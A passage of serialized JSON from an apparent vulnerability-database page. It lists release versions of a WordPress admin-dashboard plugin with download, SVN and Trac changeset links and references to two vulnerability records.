.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.4.3",[625,626],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":628,"download_url":629,"svn_tag_url":630,"released_at":39,"has_diff":129,"diff_files_changed":631,"diff_lines":39,"trac_diff_url":632,"vulnerabilities":633,"is_current":129},"4.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.3.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.3.1",[634,635],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":637,"download_url":638,"svn_tag_url":639,"released_at":39,"has_diff":129,"diff_files_changed":640,"diff_lines":39,"trac_diff_url":641,"vulnerabilities":642,"is_current":129},"4.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.9&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.3.0",[643,644],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":646,"download_url":647,"svn_tag_url":648,"released_at":39,"has_diff":129,"diff_files_changed":649,"diff_lines":39,"trac_diff_url":650,"vulnerabilities":651,"is_current":129},"4.2.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.8&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.9",[652,653],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":655,"download_url":656,"svn_tag_url":657,"released_at":39,"has_diff":129,"diff_files_changed":658,"diff_lines":39,"trac_diff_url":659,"vulnerabilities":660,"is_current":129},"4.2.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.7&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.8",[661,662],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":664,"download_url":665,"svn_tag_url":666,"released_at":39,"has_diff":129,"diff_files_changed":667,"diff_lines":39,"trac_diff_url":668,"vulnerabilities":669,"is_current":129},"4.2.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.6&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.7",[670,671],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":673,"download_url":674,"svn_tag_url":675,"released_at":39,"has_diff":129,"diff_files_changed":676,"diff_lines":39,"trac_diff_url":677,"vulnerabilities":678,"is_current":129},"4.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.5&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.6",[679,680],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":682,"download_url":683,"svn_tag_url":684,"released_at":39,"has_diff":129,"diff_files_changed":685,"diff_lines":39,"trac_diff_url":686,"vulnerabilities":687,"is_current":129},"4.2.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.5",[688,689],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":691,"download_url":692,"svn_tag_url":693,"released_at":39,"has_diff":129,"diff_files_changed":694,"diff_lines":39,"trac_diff_url":695,"vulnerabilities":696,"is_current":129},"4.2.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.4",[697,698],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":700,"download_url":701,"svn_tag_url":702,"released_at":39,"has_diff":129,"diff_files_changed":703,"diff_lines":39,"trac_diff_url":704,"vulnerabilities":705,"is_current":129},"4.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.2",[706,707],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":709,"download_url":710,"svn_tag_url":711,"released_at":39,"has_diff":129,"diff_files_changed":712,"diff_lines":39,"trac_diff_url":713,"vulnerabilities":714,"is_current":129},"4.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.1.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.2.1",[715,716],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":718,"download_url":719,"svn_tag_url":720,"released_at":39,"has_diff":129,"diff_files_changed":721,"diff_lines":39,"trac_diff_url":722,"vulnerabilities":723,"is_current":129},"4.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.1.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.1.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.1.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.1.2",[724,725],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":727,"download_url":728,"svn_tag_url":729,"released_at":39,"has_diff":129,"diff_files_changed":730,"diff_lines":39,"trac_diff_url":731,"vulnerabilities":732,"is_current":129},"4.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.1.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.6&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.1.0",[733,734],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":736,"download_url":737,"svn_tag_url":738,"released_at":39,"has_diff":129,"diff_files_changed":739,"diff_lines":39,"trac_diff_url":740,"vulnerabilities":741,"is_current":129},"4.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.0.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.0.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.5&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.6",[742,743],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":745,"download_url":746,"svn_tag_url":747,"released_at":39,"has_diff":129,"diff_files_changed":748,"diff_lines":39,"trac_diff_url":749,"vulnerabilities":750,"is_current":129},"4.0.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.0.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.0.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.5",[751,752],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":754,"download_url":755,"svn_tag_url":756,"released_at":39,"has_diff":129,"diff_files_changed":757,"diff_lines":39,"trac_diff_url":758,"vulnerabilities":759,"is_current":129},"4.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.0.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.0.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.4",[760,761],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":763,"download_url":764,"svn_tag_url":765,"released_at":39,"has_diff":129,"diff_files_changed":766,"diff_lines":39,"trac_diff_url":767,"vulnerabilities":768,"is_current":129},"4.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.3",[769,770],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":772,"download_url":773,"svn_tag_url":774,"released_at":39,"has_diff":129,"diff_files_changed":775,"diff_lines":39,"trac_diff_url":776,"vulnerabilities":777,"is_current":129},"4.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.2",[778,779],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":781,"download_url":782,"svn_tag_url":783,"released_at":39,"has_diff":129,"diff_files_changed":784,"diff_lines":39,"trac_diff_url":785,"vulnerabilities":786,"is_current":129},"4.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.4.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F4.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F4.0.1",[787,788],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":790,"download_url":791,"svn_tag_url":792,"released_at":39,"has_diff":129,"diff_files_changed":793,"diff_lines":39,"trac_diff_url":794,"vulnerabilities":795,"is_current":129},"3.7.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.7.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.7.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.3",[796,797],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":799,"download_url":800,"svn_tag_url":801,"released_at":39,"has_diff":129,"diff_files_changed":802,"diff_lines":39,"trac_diff_url":803,"vulnerabilities":804,"is_current":129},"3.7.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.7.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.7.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.2",[805,806],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":808,"download_url":809,"svn_tag_url":810,"released_at":39,"has_diff":129,"diff_files_changed":811,"diff_lines":39,"trac_diff_url":812,"vulnerabilities":813,"is_current":129},"3.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.7.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.7.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.1",[814,815],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":817,"download_url":818,"svn_tag_url":819,"released_at":39,"has_diff":129,"diff_files_changed":820,"diff_lines":39,"trac_diff_url":821,"vulnerabilities":822,"is_current":129},"3.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.7.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.7.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.6.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.7.0",[823,824],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":826,"download_url":827,"svn_tag_url":828,"released_at":39,"has_diff":129,"diff_files_changed":829,"diff_lines":39,"trac_diff_url":830,"vulnerabilities":831,"is_current":129},"3.6.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.6.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.6.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.5.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.6.0",[832,833],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":835,"download_url":836,"svn_tag_url":837,"released_at":39,"has_diff":129,"diff_files_changed":838,"diff_lines":39,"trac_diff_url":839,"vulnerabilities":840,"is_current":129},"3.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.4.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.5.1",[841,842],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":844,"download_url":845,"svn_tag_url":846,"released_at":39,"has_diff":129,"diff_files_changed":847,"diff_lines":39,"trac_diff_url":848,"vulnerabilities":849,"is_current":129},"3.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.4.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.4.3",[850,851],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":853,"download_url":854,"svn_tag_url":855,"released_at":39,"has_diff":129,"diff_files_changed":856,"diff_lines":39,"trac_diff_url":857,"vulnerabilities":858,"is_current":129},"3.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.4.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.2.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.4.0",[859,860],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":862,"download_url":863,"svn_tag_url":864,"released_at":39,"has_diff":129,"diff_files_changed":865,"diff_lines":39,"trac_diff_url":866,"vulnerabilities":867,"is_current":129},"3.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.1.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.2.3",[868,869],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":871,"download_url":872,"svn_tag_url":873,"released_at":39,"has_diff":129,"diff_files_changed":874,"diff_lines":39,"trac_diff_url":875,"vulnerabilities":876,"is_current":129},"3.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.1.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.1.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.0.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.1.3",[877,878],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":880,"download_url":881,"svn_tag_url":882,"released_at":39,"has_diff":129,"diff_files_changed":883,"diff_lines":39,"trac_diff_url":884,"vulnerabilities":885,"is_current":129},"3.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.3.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F3.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.14.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F3.0.2",[886,887],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":889,"download_url":890,"svn_tag_url":891,"released_at":39,"has_diff":129,"diff_files_changed":892,"diff_lines":39,"trac_diff_url":893,"vulnerabilities":894,"is_current":129},"2.14.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.14.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.14.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.13.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.14.0",[895,896],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":898,"download_url":899,"svn_tag_url":900,"released_at":39,"has_diff":129,"diff_files_changed":901,"diff_lines":39,"trac_diff_url":902,"vulnerabilities":903,"is_current":129},"2.13.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.13.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.13.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.12.7&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.13.0",[904,905],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":907,"download_url":908,"svn_tag_url":909,"released_at":39,"has_diff":129,"diff_files_changed":910,"diff_lines":39,"trac_diff_url":911,"vulnerabilities":912,"is_current":129},"2.12.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.12.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.12.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.11.6&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.12.7",[913,914],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":916,"download_url":917,"svn_tag_url":918,"released_at":39,"has_diff":129,"diff_files_changed":919,"diff_lines":39,"trac_diff_url":920,"vulnerabilities":921,"is_current":129},"2.11.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.11.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.11.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.10.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.11.6",[922,923],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":925,"download_url":926,"svn_tag_url":927,"released_at":39,"has_diff":129,"diff_files_changed":928,"diff_lines":39,"trac_diff_url":929,"vulnerabilities":930,"is_current":129},"2.10.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.10.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-